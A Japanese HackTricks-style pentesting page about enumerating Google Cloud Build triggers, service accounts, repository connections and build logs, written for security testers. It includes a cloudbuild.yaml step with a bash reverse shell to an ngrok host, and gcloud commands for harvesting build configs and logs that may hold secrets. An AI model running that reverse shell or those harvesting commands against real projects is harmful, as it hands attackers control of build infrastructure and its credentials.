# GCP - Cloud Build Enum

{{#include ../../../banners/hacktricks-training.md}}

## 基本情報

Google Cloud Buildは、**ソフトウェアビルド**とリリースプロセスを自動化する管理されたCI/CDプラットフォームであり、**ソースコードリポジトリ**と統合し、幅広いプログラミング言語をサポートしています。これにより、**開発者はコードを自動的にビルド、テスト、デプロイ**でき、ビルドステップやワークフローをカスタマイズする柔軟性を提供します。

各Cloud Build Triggerは、**Cloud Repositoryに関連付けられているか、外部リポジトリ**（Github、Bitbucket、Gitlab）に直接接続されています。

> [!TIP]
> ここやCloud RepositoriesからGithub/Bitbucketトークンを盗む方法は見当たりません。リポジトリがダウンロードされると、[https://source.cloud.google.com/](https://source.cloud.google.com/) URLを介してアクセスされ、Githubはクライアントによってアクセスされません。

### イベント

Cloud Buildは以下の場合にトリガーされます：

- **ブランチへのプッシュ**: ブランチを指定
- **新しいタグのプッシュ**: タグを指定
- **プルリクエスト**: PRを受け取るブランチを指定
- **手動呼び出し**
- **Pub/Subメッセージ:** トピックを指定
- **Webhookイベント**: HTTPS URLを公開し、リクエストはシークレットで認証される必要があります

### 実行

3つのオプションがあります：

- 実行する**コマンドを指定するyaml/json**。通常は：`/cloudbuild.yaml`
- ウェブコンソールとCLIで「インライン」で指定できる唯一のもの
- 最も一般的なオプション
- 認証されていないアクセスに関連
- ビルドするための**Dockerfile**
- ビルドするための**Buildpack**

### SA権限

**サービスアカウントは`cloud-platform`スコープを持っているため、**すべての権限を**使用できます。**SAが指定されていない場合**（提出時など）、**デフォルトのSA** `<proj-number>@cloudbuild.gserviceaccount.com`が**使用されます。**

デフォルトでは権限は与えられませんが、いくつかの権限を与えるのは非常に簡単です：

<figure><img src="../../../images/image (16).png" alt=""><figcaption></figcaption></figure>

### 承認

Cloud Buildを**ビルド実行の承認を必要とするように設定することが可能です**（デフォルトでは無効）。

### PR承認

トリガーがPRの場合、**誰でも公開リポジトリにPRを行うことができるため、**任意のPRでトリガーの実行を**許可するのは非常に危険です**。したがって、デフォルトでは、実行は**所有者とコラボレーターのみに自動的に行われ**、他のユーザーのPRでトリガーを実行するには、所有者またはコラボレーターが`/gcbrun`とコメントする必要があります。

<figure><img src="../../../images/image (339).png" alt="" width="563"><figcaption></figcaption></figure>

### 接続とリポジトリ

接続は以下を介して作成できます：

- **GitHub:** **Githubトークンを取得するための権限を要求するOAuthプロンプト**が表示され、**Secret Manager**に保存されます。
- **GitHub Enterprise:** **GithubApp**のインストールを要求します。GitHub Enterpriseホストからの**認証トークン**が作成され、このプロジェクトの**Secret Manager**シークレットに保存されます。
- **GitLab / Enterprise:** **APIアクセス用トークンと読み取りAPIアクセス用トークンを提供する必要があります**。これらは**Secret Manager**に保存されます。

接続が生成されると、**Githubアカウントがアクセスできるリポジトリをリンクするために使用できます**。

このオプションはボタンを介して利用可能です：

<figure><img src="../../../images/image (17).png" alt=""><figcaption></figcaption></figure>

> [!TIP]
> この方法で接続されたリポジトリは、**2世代のトリガーでのみ利用可能です**。

### リポジトリを接続する

これは**`接続`**とは異なります。これは**GithubまたはBitbucket**リポジトリにアクセスするための**異なる**方法を提供しますが、**接続オブジェクトを生成するのではなく、リポジトリオブジェクト（1世代）を生成します。**

このオプションはボタンを介して利用可能です：

<figure><img src="../../../images/image (18).png" alt=""><figcaption></figcaption></figure>

### ストレージ

時々、Cloud Buildは**トリガー用のファイルを保存するための新しいストレージを生成します**。これは、GCPが提供する例などで発生します：
```bash
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
```
ストレージバケット [security-devbox_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false&project=security-devbox) が作成され、使用するファイルを含む `.tgz` を保存します。

### シェルを取得する
```yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
cloud build内にgcloudをインストールする:
```bash
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
```
### 列挙

**ビルド構成やログに機密情報が含まれている可能性があります**。
```bash
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done
```
### 権限昇格

{{#ref}}
../gcp-privilege-escalation/gcp-cloudbuild-privesc.md
{{#endref}}

### 認証されていないアクセス

{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md
{{#endref}}

### ポストエクスプロイト

{{#ref}}
../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
